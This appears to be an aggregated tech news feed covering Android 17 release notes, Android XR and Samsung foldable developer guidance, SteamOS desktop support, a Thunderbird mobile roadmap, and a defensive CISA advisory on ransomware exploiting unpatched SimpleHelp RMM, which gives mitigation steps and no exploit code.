R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Building a Mixed-Reality Tour Guide with Android XR, the Geospatial API, and Gemini

Sat, 25 Jul 2026 10:15:35 +0200

Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR

At this year's Google I/O, we announced an update for spatial experiences: the Geospatial API is now available as a preview in ARCore for Jetpack XR. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.

Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the Geospatial APIs, Gemini API using Firebase AI Logic, Google Maps Grounding, and Jetpack XR SDK to create a hands-free, immersive walking tour experience.

*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.

Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.

1. Pinpointing the User with ARCore Geospatial API (VPS)

Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.

This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a GeospatialPose (including latitude, longitude, and heading) that is more accurate than GPS.

Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:

// Retrieve the current geospatial pose from the ARCore session
val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)
if (result is CreateGeospatialPoseFromPoseSuccess) {
    val pose = result.pose
    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")
}

Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".

2. Crafting the Itinerary with Gemini API & Google Maps Grounding

Once we have a location, we use the Gemini API using Firebase AI Logic to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:

   val configForTools = ToolConfig(
      functionCallingConfig = null,
      retrievalConfig = retrievalConfig {
        latLng = FirebaseLatLng(pose.latitude, pose.longitude)
        languageCode = "en"
      }
    )
    val responseJsonSchema = Schema.obj(
      mapOf(
        "locationIntro" to Schema.string(),
        "tours" to Schema.array(
          Schema.obj(
            mapOf(
              "title" to Schema.string(),
              "description" to Schema.string(),
              "stops" to Schema.array(
                Schema.obj(
                  mapOf(
                    "name" to Schema.string(),
                    "detailedName" to Schema.string(),
                    "description" to Schema.string()
                  )
                )
              )
            )
          )
        )
      )
    )
    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(
      modelName = "gemini-3.5-flash",
      tools = listOf(Tool.googleMaps()),
      generationConfig = generationConfig {
        responseMimeType = "application/json"
        responseSchema = responseJsonSchema
      }
    )
   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")

Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used Google Maps Grounding to ground the AI.

3. A Voice to Guide You: Gemini 2.5 TTS

To make the tour guide feel truly present, we implemented dynamic voiceovers.

Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:

val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-2.5-flash-tts",
        generationConfig = generationConfig {
            // Instruct the model to return Audio
            responseModalities = listOf(ResponseModality.AUDIO)
        }
    )
val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")
// Extract the raw audio bytes from the response
val audioBytes = response.candidates.firstOrNull()?.content?.parts
    ?.filterIsInstance()
    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData

4. Bringing it to Life in 3D with Jetpack XR

The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from a 2D Android UI to spatial computing.

We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.

Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using SpatialBox and SceneCoreEntity. We also used InteractableComponent to respond to user taps.

@Composable
fun InfoSphere(
    content: InfoBubbleContent,
    session: Session,
    sphereModel: GltfModel,
    isSelected: Boolean,
    onClick: () -> Unit
) {
    // SpatialBox lets us arrange 3D components and SpatialPanels together
    SpatialBox(
        SubspaceModifier
            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space
    ) {
        // Smoothly animate the visibility of our 2D Compose UI Panel
        AnimatedSpatialVisibility(visible = isSelected) {
            SpatialPanel {
                InfoBubble(content) // Regular 2D Compose UI
            }
        }
        // Render our interactive 3D sphere
        SceneCoreEntity(
            factory = {
                GltfModelEntity.create(session, sphereModel).also { entity ->
                    // Make the 3D model respond to user taps
                    entity.addComponent(InteractableComponent.create(session) { inputEvent ->
                        if (inputEvent.action == InputEvent.Action.UP) {
                            onClick()
                        }
                    })
                }
            }
        )
    }
}

By combining AnimatedSpatialVisibility for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.

Explore what’s possible with Android XR today

Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining Compose for XR’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.

To help you get hands-on with Android XR, we are thrilled to open applications for the Android XR Developer Catalyst Program, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months!

Optimize your apps for the next generation of Samsung Galaxy devices

Sat, 25 Jul 2026 10:15:16 +0200

Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience

Today at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.

With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.

Rethink layout architecture for dynamic displays, including ultra-wide foldables

Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for. Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced dedicated guidance for building for landscape foldables and trifolds.

To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:

Build fluid, adaptive layouts: Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated adaptive design guidance advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our adaptive sample app and dual-screen design galleries.
Track actual app space: Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage Window Size Classes using the Jetpack Window Manager library to calculate the exact space your app occupies.

Leverage the latest Jetpack Compose Update: Start by adopting the stable Jetpack Compose April '26 release (Compose BOM version 2026.04.01).Take advantage of the new structural layout tools to manage complex architectures. The new Grid API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new FlexBox layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new MediaQuery API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types.
Make your app fold aware: Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is fold aware, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.
Maintain app continuity: Avoid breaking the user journey when the device configuration shifts. Retain your UI state using ViewModel to ensure smooth transitions when a user folds or unfolds their device.

Ensure seamless camera capture on foldable devices

Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.

When optimizing your app's media pipeline, migrate your capture experiences to CameraX using the CameraX migration skill. The library’s PreviewView automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the CameraViewfinder library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.

Extend glanceable interactions to Wear OS 7

The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using Jetpack Glance and RemoteCompose. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets.

Build intelligent features

Gemini intelligence already completes tasks on users’ behalf, and you can experiment with the intelligence system by sharing your apps capabilities.

Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and much more. Use ML Kit’s Prompt API with advanced features like structured output and thinking mode to build intelligent features on-device.

Start optimizing today

The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for building adaptive apps to learn more about core adaptive design principles.

To dive deeper, check out our comprehensive YouTube playlist. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for trifolds and landscape foldables and WearOS.

Unfold the future today!

Valve Will Finally Let You Build Your Own Steam Machine With SteamOS For Desktop

Sat, 25 Jul 2026 10:12:56 +0200

With the price of the new Steam Machine starting at $1,049, you might want to consider making your own Steam Machine instead. An anonymous reader quotes a report from The Verge: Valve says that "starting with the SteamOS 3.8 release, you can put together your own Steam Machine using whatever PC parts you want." SteamOS 3.8.10 launched last week with a slew of updates, including "improved compatibility with recent Intel and AMD platforms." Alongside that improved compatibility, Valve is giving gamers the green light to install SteamOS on their own desktops. In an interview with The Verge, Valve's Pierre-Loup Griffais said Valve has been "rolling out improvements to [SteamOS] so it's more compatible with desktop hardware," including eventual support for Nvidia graphics. Griffais says Valve has "a growing team" working on Nvidia driver support for SteamOS, adding, "We're collaborating with Nvidia very closely." While he mentioned that Nvidia support might not come this year, Griffais emphasized that "it's certainly something that we're working on in the background." It's technically been possible to run SteamOS on your own hardware for a while now, but compatibility has been mostly limited to AMD systems. So far installing it has also required using a Steam Deck recovery image, a process that, speaking from experience, is much less straightforward than the installation process for most other Linux distributions. Trying to run SteamOS on Intel or Nvidia hardware has not been easy so far. According to Griffais, Valve is working to change that, which could mean that down the line, you'll be able to run SteamOS on just about any gaming PC hardware you want, including Nvidia. For the more immediate future, Griffais says SteamOS in its current state should offer a "good experience" on console-like PC setups: "If you have something that is similar to the use case of a Steam Machine, where you have a PC that's gonna be plugged into a TV, and has a single hard drive that you're not going to try and dual boot [] you can put SteamOS on there, and you'll have an experience that is very similar to a Steam Deck docked or a Steam Machine, with some caveats, of course," like a lack of HDMI-CEC support. But "the core bits of the experience are there. The SteamOS graphics driver, the shader precompilation [...] you can get at all of that with the SteamOS." Griffais says SteamOS does not yet offer an easy way to dual-boot alongside Windows or another operating system, but envisions "a time where it's a better experience to install on your desktop and have it coexist with a different operating system."

State of the Thunder 14: The 2026 Mobile Roadmap

Sat, 25 Jul 2026 10:05:15 +0200

Author: Mozilla Thunderbird - Bewertung: 28x - Views:1101

As 2025 winds down, its time to start thinking of what we want to achieve for our Android AND iOS apps next year. Alessandro walks us through the 2026 mobile roadmap, covering our urgent priorities, feature wish list, and a glimpse at our upcoming design plans for the entire Thunderbird project.

Chapters

00:00 Intro
01:47 Thunderbird Pro in Mobile
05:49 How we build a roadmap
07:40 Android initiatives
12:51 Material 3 or Material You
21:05 Calendar Exploration Questions
31:26 Roadmap items for our community
33:34 iOS initiatives

Resources:
Current Android Roadmap: https://github.com/orgs/thunderbird/projects/19
TB Pro Announcement: https://blog.thunderbird.net/2025/04/thundermail-and-thunderbird-pro-services/
Mobile Development Matrix: https://matrix.to/#/#tb-mobile-dev:mozilla.org
Thunderbird for Android GitHub Issues: https://github.com/thunderbird/thunderbird-android/issues

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
